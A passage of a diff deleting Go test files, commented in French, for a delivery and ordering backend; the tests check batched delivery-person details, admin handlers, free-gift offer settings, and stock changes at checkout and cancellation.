t.Fatalf("promo_discount doit être exposé dans GetMyDeliveries: %+v", d.Items)
|
||||
}
|
||||
found = true
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("commande %d introuvable dans la réponse: body=%s", cmdID, rec.Body.String())
|
||||
}
|
||||
}
|
||||
@@ -1,289 +0,0 @@
|
||||
// Tests pour GetDeliveryPersonsDetailsBatch, qui remplace l'ancien pattern
|
||||
// N+1 (une requête complète par livreur : GetUserByUsername + 2 lectures
|
||||
// Redis + GetDeliverymanQueueSize + GetCurrentCommand + 3 COUNT(*) séparés)
|
||||
// par un enrichissement groupé de toute la liste en un seul appel. On
|
||||
// vérifie que le résultat groupé est strictement équivalent à ce que
|
||||
// renvoyaient les anciennes fonctions individuelles, livreur par livreur.
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"gestion/db"
|
||||
"gestion/handlers"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func setDeliveryStatus(t *testing.T, username, status string) {
|
||||
t.Helper()
|
||||
key := fmt.Sprintf("delivery:status:%s", username)
|
||||
if err := db.Redis.Set(db.RedisCtx, key, status, 0).Err(); err != nil {
|
||||
t.Fatalf("set status redis %q: %v", username, err)
|
||||
}
|
||||
t.Cleanup(func() { db.Redis.Del(db.RedisCtx, key) })
|
||||
}
|
||||
|
||||
func setDeliveryLocation(t *testing.T, username string, lat, lon float64, lastUpdate int64) {
|
||||
t.Helper()
|
||||
key := fmt.Sprintf("delivery:location:%s", username)
|
||||
payload, _ := json.Marshal(map[string]any{
|
||||
"latitude": lat,
|
||||
"longitude": lon,
|
||||
"last_update": lastUpdate,
|
||||
})
|
||||
if err := db.Redis.Set(db.RedisCtx, key, payload, 0).Err(); err != nil {
|
||||
t.Fatalf("set location redis %q: %v", username, err)
|
||||
}
|
||||
t.Cleanup(func() { db.Redis.Del(db.RedisCtx, key) })
|
||||
}
|
||||
|
||||
func pushDeliveryQueue(t *testing.T, username string, commandIDs ...int) {
|
||||
t.Helper()
|
||||
key := fmt.Sprintf("delivery:queue:%s", username)
|
||||
for _, id := range commandIDs {
|
||||
if err := db.Redis.RPush(db.RedisCtx, key, fmt.Sprintf("%d", id)).Err(); err != nil {
|
||||
t.Fatalf("rpush queue redis %q: %v", username, err)
|
||||
}
|
||||
}
|
||||
t.Cleanup(func() { db.Redis.Del(db.RedisCtx, key) })
|
||||
}
|
||||
|
||||
func setDeliveryCurrentCommand(t *testing.T, username string, commandID int) {
|
||||
t.Helper()
|
||||
key := fmt.Sprintf("delivery:current:%s", username)
|
||||
if err := db.Redis.Set(db.RedisCtx, key, fmt.Sprintf("%d", commandID), 0).Err(); err != nil {
|
||||
t.Fatalf("set current command redis %q: %v", username, err)
|
||||
}
|
||||
t.Cleanup(func() { db.Redis.Del(db.RedisCtx, key) })
|
||||
}
|
||||
|
||||
// Livreur avec statut, position, queue, commande en cours et un historique
|
||||
// de commandes mixte (approved / en_route / pending) : couvre tous les
|
||||
// champs enrichis par le batch en une seule fois.
|
||||
func TestGetDeliveryPersonsDetailsBatch_FullyPopulatedLivreur(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
livreur := newTestLivreur(t, "batch_full")
|
||||
client := newTestClient(t, "batch_full_client")
|
||||
productID := newTestProduct(t, "BatchFull", 100)
|
||||
|
||||
newTestCommandWithItem(t, client, "approved", livreur, productID, 1, 10)
|
||||
newTestCommandWithItem(t, client, "en_route", livreur, productID, 1, 10)
|
||||
newTestCommandWithItem(t, client, "pending", livreur, productID, 1, 10)
|
||||
|
||||
setDeliveryStatus(t, livreur, "available")
|
||||
setDeliveryLocation(t, livreur, 47.21, -1.55, 1700000000)
|
||||
pushDeliveryQueue(t, livreur, 101, 102)
|
||||
setDeliveryCurrentCommand(t, livreur, 101)
|
||||
|
||||
result := testDB.GetDeliveryPersonsDetailsBatch([]string{livreur})
|
||||
det, ok := result[livreur]
|
||||
if !ok || det == nil {
|
||||
t.Fatalf("GetDeliveryPersonsDetailsBatch doit renvoyer une entrée pour %q", livreur)
|
||||
}
|
||||
|
||||
if det.Status != "available" {
|
||||
t.Errorf("Status: got=%q want=%q", det.Status, "available")
|
||||
}
|
||||
if !det.HasLocation || det.Latitude != 47.21 || det.Longitude != -1.55 {
|
||||
t.Errorf("Location: got=(hasLoc=%v, %f, %f) want=(true, 47.21, -1.55)", det.HasLocation, det.Latitude, det.Longitude)
|
||||
}
|
||||
if det.QueueSize != 2 {
|
||||
t.Errorf("QueueSize: got=%d want=2", det.QueueSize)
|
||||
}
|
||||
if det.CurrentCommand != 101 {
|
||||
t.Errorf("CurrentCommand: got=%d want=101", det.CurrentCommand)
|
||||
}
|
||||
// total = toutes statuts confondus ; completed = 'approved' uniquement ;
|
||||
// pending = assigned/en_route/livre (donc PAS le statut littéral "pending").
|
||||
if det.TotalDeliveries != 3 {
|
||||
t.Errorf("TotalDeliveries: got=%d want=3", det.TotalDeliveries)
|
||||
}
|
||||
if det.CompletedDeliveries != 1 {
|
||||
t.Errorf("CompletedDeliveries: got=%d want=1", det.CompletedDeliveries)
|
||||
}
|
||||
if det.PendingDeliveries != 1 {
|
||||
t.Errorf("PendingDeliveries (assigned/en_route/livre): got=%d want=1", det.PendingDeliveries)
|
||||
}
|
||||
}
|
||||
|
||||
// Un livreur sans aucune donnée Redis/commande doit retomber sur les mêmes
|
||||
// valeurs par défaut que les anciennes fonctions individuelles (offline,
|
||||
// pas de position, compteurs à 0) plutôt que de planter ou de renvoyer du
|
||||
// bruit.
|
||||
func TestGetDeliveryPersonsDetailsBatch_LivreurWithoutAnyData(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
livreur := newTestLivreur(t, "batch_empty")
|
||||
|
||||
result := testDB.GetDeliveryPersonsDetailsBatch([]string{livreur})
|
||||
det, ok := result[livreur]
|
||||
if !ok || det == nil {
|
||||
t.Fatalf("GetDeliveryPersonsDetailsBatch doit renvoyer une entrée pour %q même sans données", livreur)
|
||||
}
|
||||
if det.Status != "offline" {
|
||||
t.Errorf("Status par défaut: got=%q want=%q", det.Status, "offline")
|
||||
}
|
||||
if det.HasLocation {
|
||||
t.Errorf("HasLocation doit être false sans position enregistrée")
|
||||
}
|
||||
if det.QueueSize != 0 || det.CurrentCommand != 0 {
|
||||
t.Errorf("queue/commande courante doivent être à 0: queue=%d current=%d", det.QueueSize, det.CurrentCommand)
|
||||
}
|
||||
if det.TotalDeliveries != 0 || det.CompletedDeliveries != 0 || det.PendingDeliveries != 0 {
|
||||
t.Errorf("compteurs doivent être à 0 sans commande: total=%d completed=%d pending=%d",
|
||||
det.TotalDeliveries, det.CompletedDeliveries, det.PendingDeliveries)
|
||||
}
|
||||
}
|
||||
|
||||
// Les commandes d'un livreur ne doivent jamais fuiter dans les compteurs
|
||||
// d'un autre : le GROUP BY livreur_assign du batch doit bien isoler chaque
|
||||
// livreur, comme le faisait un CountDeliveriesByStatus(username, ...) par
|
||||
// livreur auparavant.
|
||||
func TestGetDeliveryPersonsDetailsBatch_IsolatesCountsPerLivreur(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
livreurA := newTestLivreur(t, "batch_iso_a")
|
||||
livreurB := newTestLivreur(t, "batch_iso_b")
|
||||
client := newTestClient(t, "batch_iso_client")
|
||||
productID := newTestProduct(t, "BatchIso", 100)
|
||||
|
||||
newTestCommandWithItem(t, client, "approved", livreurA, productID, 1, 10)
|
||||
newTestCommandWithItem(t, client, "approved", livreurB, productID, 1, 10)
|
||||
newTestCommandWithItem(t, client, "approved", livreurB, productID, 1, 10)
|
||||
|
||||
result := testDB.GetDeliveryPersonsDetailsBatch([]string{livreurA, livreurB})
|
||||
if result[livreurA].TotalDeliveries != 1 {
|
||||
t.Errorf("livreurA: got=%d want=1", result[livreurA].TotalDeliveries)
|
||||
}
|
||||
if result[livreurB].TotalDeliveries != 2 {
|
||||
t.Errorf("livreurB: got=%d want=2", result[livreurB].TotalDeliveries)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Handlers enrichis : GetAvailableDeliveryPersons (admin) ───────────────
|
||||
|
||||
func availableDeliveryPersonsContext(role string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v2/admin/protected/delivery-persons", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", role)
|
||||
return c, rec
|
||||
}
|
||||
|
||||
type enrichedLivreurResponse struct {
|
||||
Livreurs []struct {
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"`
|
||||
QueueSize int `json:"queue_size"`
|
||||
TotalDeliveries int `json:"total_deliveries"`
|
||||
CompletedDeliveries int `json:"completed_deliveries"`
|
||||
} `json:"livreurs"`
|
||||
}
|
||||
|
||||
func TestGetAvailableDeliveryPersonsHandler_IncludesEnrichedFields(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
livreur := newTestLivreur(t, "handler_enrich_a")
|
||||
client := newTestClient(t, "handler_enrich_client")
|
||||
productID := newTestProduct(t, "HandlerEnrich", 100)
|
||||
newTestCommandWithItem(t, client, "approved", livreur, productID, 1, 10)
|
||||
setDeliveryStatus(t, livreur, "busy")
|
||||
|
||||
c, rec := availableDeliveryPersonsContext("admin")
|
||||
handlers.GetAvailableDeliveryPersons(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp enrichedLivreurResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
found := false
|
||||
for _, l := range resp.Livreurs {
|
||||
if l.Username != livreur {
|
||||
continue
|
||||
}
|
||||
found = true
|
||||
if l.Status != "busy" {
|
||||
t.Errorf("status: got=%q want=%q", l.Status, "busy")
|
||||
}
|
||||
if l.TotalDeliveries != 1 || l.CompletedDeliveries != 1 {
|
||||
t.Errorf("compteurs: got total=%d completed=%d want total=1 completed=1", l.TotalDeliveries, l.CompletedDeliveries)
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("le livreur %q n'apparaît pas dans la réponse enrichie: body=%s", livreur, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// ── Handlers enrichis : GetAllDeliveryMen (cabine) ────────────────────────
|
||||
|
||||
func allDeliveryMenContext(role string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/cabine/all/deliveryman", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", role)
|
||||
return c, rec
|
||||
}
|
||||
|
||||
type enrichedUsersResponse struct {
|
||||
Users []struct {
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"`
|
||||
QueueSize int `json:"queue_size"`
|
||||
} `json:"users"`
|
||||
}
|
||||
|
||||
func TestGetAllDeliveryMenHandler_IncludesEnrichedFields(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
livreur := newTestLivreur(t, "handler_enrich_b")
|
||||
pushDeliveryQueue(t, livreur, 201, 202, 203)
|
||||
|
||||
c, rec := allDeliveryMenContext("cabine")
|
||||
handlers.GetAllDeliveryMen(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp enrichedUsersResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
found := false
|
||||
for _, u := range resp.Users {
|
||||
if u.Username != livreur {
|
||||
continue
|
||||
}
|
||||
found = true
|
||||
if u.QueueSize != 3 {
|
||||
t.Errorf("queue_size: got=%d want=3", u.QueueSize)
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("le livreur %q n'apparaît pas dans la réponse enrichie: body=%s", livreur, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// Sans livreur, aucun appel Redis/SQL ne doit partir (MGET sans clé est
|
||||
// rejeté par Redis, IN () est invalide en SQL) : on doit simplement
|
||||
// récupérer une map vide, pour une liste vide comme pour nil.
|
||||
func TestGetDeliveryPersonsDetailsBatch_EmptyInputReturnsEmptyMap(t *testing.T) {
|
||||
for name, input := range map[string][]string{"slice vide": {}, "nil": nil} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
result := testDB.GetDeliveryPersonsDetailsBatch(input)
|
||||
if result == nil {
|
||||
t.Fatal("doit renvoyer une map vide, pas nil")
|
||||
}
|
||||
if len(result) != 0 {
|
||||
t.Errorf("map attendue vide: got=%d entrées", len(result))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,395 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// ── Persistance des settings (save→reload) ──────────────────────────────────
|
||||
|
||||
func TestUpdateSettings_FreeGiftsRoundTrip(t *testing.T) {
|
||||
resetSettingsAfterTest(t)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{
|
||||
Category: "test",
|
||||
AllProducts: false,
|
||||
Products: []models.FreeGiftProductQuantity{
|
||||
{ProductID: 111, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
{BuyQuantity: 20, FreeQuantity: 3},
|
||||
}},
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
loaded, err := testDB.GetSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("GetSettings: %v", err)
|
||||
}
|
||||
if !loaded.FreeGiftsEnabled {
|
||||
t.Fatal("free_gifts_enabled devrait être true après reload")
|
||||
}
|
||||
if len(loaded.FreeGifts) != 1 {
|
||||
t.Fatalf("free_gifts: got=%d want=1: %+v", len(loaded.FreeGifts), loaded.FreeGifts)
|
||||
}
|
||||
gift := loaded.FreeGifts[0]
|
||||
if gift.Category != "test" || len(gift.Products) != 1 {
|
||||
t.Fatalf("free gift mal persistée: got=%+v", gift)
|
||||
}
|
||||
if len(gift.Products[0].Tiers) != 2 || gift.Products[0].Tiers[1].BuyQuantity != 20 || gift.Products[0].Tiers[1].FreeQuantity != 3 {
|
||||
t.Errorf("tiers mal persistés: got=%+v", gift.Products[0].Tiers)
|
||||
}
|
||||
|
||||
// Désactivation : doit persister à false, pas de résurrection (même
|
||||
// classe de bug que TestUpdateSettings_DisablingPointsRewardPersistsAsNil).
|
||||
s.FreeGiftsEnabled = false
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings (désactivation): %v", err)
|
||||
}
|
||||
loaded, err = testDB.GetSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("GetSettings (désactivation): %v", err)
|
||||
}
|
||||
if loaded.FreeGiftsEnabled {
|
||||
t.Error("free_gifts_enabled devrait rester false après désactivation")
|
||||
}
|
||||
}
|
||||
|
||||
// ── Résolution de la quantité offerte (logique pure) ────────────────────────
|
||||
|
||||
func TestResolveFreeGift_AllProductsAtOrAboveThreshold(t *testing.T) {
|
||||
settings := &models.AppSettings{
|
||||
FreeGiftsEnabled: true,
|
||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
||||
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
},
|
||||
}
|
||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 1 {
|
||||
t.Errorf("quantité offerte: got=%.2f want=1", got)
|
||||
}
|
||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 15); got != 1 {
|
||||
t.Errorf("au-dessus du seuil, le cadeau reste dû: got=%.2f want=1", got)
|
||||
}
|
||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 9); got != 0 {
|
||||
t.Errorf("sous le seuil, aucun cadeau: got=%.2f want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveFreeGift_DisabledReturnsZero(t *testing.T) {
|
||||
settings := &models.AppSettings{
|
||||
FreeGiftsEnabled: false,
|
||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
||||
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
},
|
||||
}
|
||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 0 {
|
||||
t.Errorf("offres désactivées: aucun cadeau attendu: got=%.2f", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveFreeGift_PerProductHighestTierApplies(t *testing.T) {
|
||||
settings := &models.AppSettings{
|
||||
FreeGiftsEnabled: true,
|
||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
||||
{
|
||||
Category: "fleurs",
|
||||
AllProducts: false,
|
||||
Products: []models.FreeGiftProductQuantity{
|
||||
{ProductID: 111, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
{BuyQuantity: 20, FreeQuantity: 3},
|
||||
}},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
if got := db.ResolveFreeGift(settings, 111, "fleurs", 10); got != 1 {
|
||||
t.Errorf("seuil 10g: got=%.2f want=1", got)
|
||||
}
|
||||
// 25g dépasse les deux seuils : le plus élevé (20g→3g) doit être retenu,
|
||||
// pas le premier de la liste (10g→1g).
|
||||
if got := db.ResolveFreeGift(settings, 111, "fleurs", 25); got != 3 {
|
||||
t.Errorf("seuil le plus élevé atteint (20g→3g): got=%.2f want=3", got)
|
||||
}
|
||||
// Produit non listé dans cette config : aucun cadeau.
|
||||
if got := db.ResolveFreeGift(settings, 222, "fleurs", 25); got != 0 {
|
||||
t.Errorf("produit non couvert: got=%.2f want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Intégration AddToBasket : la quantité livrée inclut le cadeau, au même prix ──
|
||||
|
||||
func TestAddToBasket_AppliesFreeGiftQuantityAtSamePrice(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_basket_applies")
|
||||
productID := newTestProduct(t, "FreeGiftBasketApplies", 50)
|
||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
basket, err := testDB.AddToBasket(username, productID, 10)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
if basket.Quantity != 11 {
|
||||
t.Errorf("quantité livrée attendue = 10 + 1 offert = 11: got=%.2f", basket.Quantity)
|
||||
}
|
||||
if basket.Price != 10.0 {
|
||||
t.Errorf("le prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", basket.Price)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAddToBasket_NoFreeGiftBelowThreshold(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_basket_below")
|
||||
productID := newTestProduct(t, "FreeGiftBasketBelow", 50)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
basket, err := testDB.AddToBasket(username, productID, 5)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
if basket.Quantity != 5 {
|
||||
t.Errorf("sous le seuil, aucune quantité offerte: got=%.2f want=5", basket.Quantity)
|
||||
}
|
||||
}
|
||||
|
||||
// La quantité réellement décomptée du stock doit inclure le cadeau : un stock
|
||||
// suffisant pour la quantité demandée mais pas pour demandée+offerte doit
|
||||
// faire échouer l'ajout, pas livrer un cadeau partiel.
|
||||
func TestAddToBasket_FreeGiftRejectedWhenStockInsufficientForBonus(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_basket_stock")
|
||||
productID := newTestProduct(t, "FreeGiftBasketStock", 10) // stock = 10, pile la quantité demandée
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
if _, err := testDB.AddToBasket(username, productID, 10); err == nil {
|
||||
t.Fatal("stock=10 ne doit pas suffire pour livrer 10g + 1g offert")
|
||||
}
|
||||
}
|
||||
|
||||
// ── Intégration checkout : le bonus offert est bien décompté du stock ──────
|
||||
//
|
||||
// AddToBasket stocke déjà quantity = demandée + offerte (voir tests
|
||||
// ci-dessus) ; CreateCommandWithAddress ne relit ni ne recalcule cette
|
||||
// quantité — elle est copiée telle quelle dans command_items.quantite et
|
||||
// utilisée telle quelle pour décrémenter products.stock (db_commands.go).
|
||||
// Ces tests vérifient ce chemin de bout en bout, pas juste AddToBasket isolé.
|
||||
|
||||
func TestCheckout_FreeGiftBonusQuantityDecrementsStock(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_checkout_stock")
|
||||
productID := newTestProduct(t, "FreeGiftCheckoutStock", 50)
|
||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
|
||||
// 50 initial - (10 demandés + 1 offert) = 39, pas 40.
|
||||
if got := productStock(t, productID); got != 39 {
|
||||
t.Errorf("stock après checkout avec cadeau: got=%.2f want=39 (50 - 11)", got)
|
||||
}
|
||||
|
||||
var item struct {
|
||||
Quantite float64 `gorm:"column:quantite"`
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
}
|
||||
if err := testDB.GDB.Raw(
|
||||
`SELECT quantite, prix FROM command_items WHERE command_id = ? AND product_id = ?`,
|
||||
cmd.ID, productID,
|
||||
).Scan(&item).Error; err != nil {
|
||||
t.Fatalf("lecture command_items: %v", err)
|
||||
}
|
||||
if item.Quantite != 11 {
|
||||
t.Errorf("command_items.quantite doit inclure le cadeau: got=%.2f want=11", item.Quantite)
|
||||
}
|
||||
if item.Prix != 10.0 {
|
||||
t.Errorf("command_items.prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", item.Prix)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckout_FreeGiftRollsBackWhenStockInsufficientForBonus(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_checkout_rollback")
|
||||
productID := newTestProduct(t, "FreeGiftCheckoutRollback", 50)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
// Le stock chute sous 11 (10 demandés + 1 offert) après l'ajout au panier,
|
||||
// simulant une vente concurrente qui vide le stock entre AddToBasket et
|
||||
// checkout — le checkout doit échouer et ne rien décrémenter.
|
||||
if err := testDB.GDB.Exec(`UPDATE products SET stock = 10 WHERE id = ?`, productID).Error; err != nil {
|
||||
t.Fatalf("réduction stock: %v", err)
|
||||
}
|
||||
|
||||
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err == nil {
|
||||
t.Fatal("checkout attendu en échec: stock=10 insuffisant pour 10 demandés + 1 offert")
|
||||
}
|
||||
if got := productStock(t, productID); got != 10 {
|
||||
t.Errorf("stock ne doit pas bouger si le checkout échoue: got=%.2f want=10", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Intégration annulation : le remboursement inclut le bonus offert ───────
|
||||
|
||||
func TestCancelCommandAtomic_RefundsFreeGiftBonusQuantity(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_cancel_refund")
|
||||
productID := newTestProduct(t, "FreeGiftCancelRefund", 50)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
if got := productStock(t, productID); got != 39 {
|
||||
t.Fatalf("précondition stock post-checkout: got=%.2f want=39", got)
|
||||
}
|
||||
|
||||
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err != nil {
|
||||
t.Fatalf("CancelCommandAtomic: %v", err)
|
||||
}
|
||||
|
||||
// 39 + 11 (10 demandés + 1 offert) = 50, retour exact au stock initial.
|
||||
if got := productStock(t, productID); got != 50 {
|
||||
t.Errorf("stock après annulation (bonus offert inclus dans le remboursement): got=%.2f want=50", got)
|
||||
}
|
||||
|
||||
// Rejeu : ne doit rembourser qu'une fois.
|
||||
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err == nil {
|
||||
t.Fatal("le second appel sur une commande déjà annulée doit échouer, pas rembourser une seconde fois")
|
||||
}
|
||||
if got := productStock(t, productID); got != 50 {
|
||||
t.Errorf("stock après double annulation: got=%.2f want=50 (un seul remboursement)", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Cumul avec les promotions de prix ───────────────────────────────────────
|
||||
//
|
||||
// Une offre "achetez X, Y offert" et une promotion de réduction (%) sur le
|
||||
// même produit doivent pouvoir s'appliquer ensemble : la promotion réduit le
|
||||
// prix facturé sur la quantité demandée, le cadeau ajoute de la quantité
|
||||
// livrée sans toucher au prix — les deux mécanismes sont indépendants dans
|
||||
// AddToBasket (voir db_basket.go) mais rien ne garantissait jusqu'ici qu'ils
|
||||
// ne s'écrasent pas mutuellement une fois combinés.
|
||||
func TestAddToBasket_FreeGiftAndPromotionBothApplyTogether(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "freegift_promo_combo")
|
||||
productID := newTestProduct(t, "FreeGiftPromoCombo", 50)
|
||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 10, DiscountPercent: 20},
|
||||
}
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
||||
